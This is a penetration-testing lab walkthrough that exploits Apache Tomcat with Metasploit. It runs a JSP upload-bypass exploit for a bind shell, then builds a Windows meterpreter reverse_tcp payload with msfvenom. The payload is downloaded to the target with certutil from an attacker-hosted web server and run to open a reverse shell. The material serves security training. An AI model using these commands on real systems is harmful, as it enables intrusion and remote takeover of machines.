🔬Tomcat - MSF Exploit
Lab 1
Target IP:
10.2.24.113Exploit the target with the appropriate Metasploit Framework module
service postgresql start && msfconsole -qdb_status
setg RHOSTS 10.2.24.113
setg RHOST 10.2.24.113
workspace -a TOMCATPerform an
nmapscan directly into MSF
db_nmap -sS -sV -O 10.2.24.113
Try tomcat from a browser
http://10.2.24.113:8080/
services
search type:exploit tomcat_jsp
use exploit/multi/http/tomcat_jsp_upload_bypass
info
# Description:
# This module uploads a jsp payload and executes it.
check
runOr use a specific payload
set payload java/jsp_shell_bind_tcp
options
set SHELL cmd
runA CMD shell session is provided
cd /
type flag.txtObtain a
Meterpretersession
background
sessionsGenerate a Windows
meterpreterpayload. Open a new terminal tab
ip -br -c a
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.18.2 LPORT=1234 -f exe > meterpreter.exesudo python3 -m http.server 80In the first
msfconsoletab
sessions
sessions 2
certutil -urlcache -f http://10.10.18.2/meterpreter.exe meterpreter.exeTerminate the python web server and set up the handler in the second tab
vim handler.rc
# Insert the following lines
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.18.2
set LPORT 1234
run
# Save it and exitmsfconsole -r handler.rcExecute the
meterpreter.exeon the target system
.\meterpreter.exeReverse
Meterpretersession will be opened.
Last updated
Was this helpful?
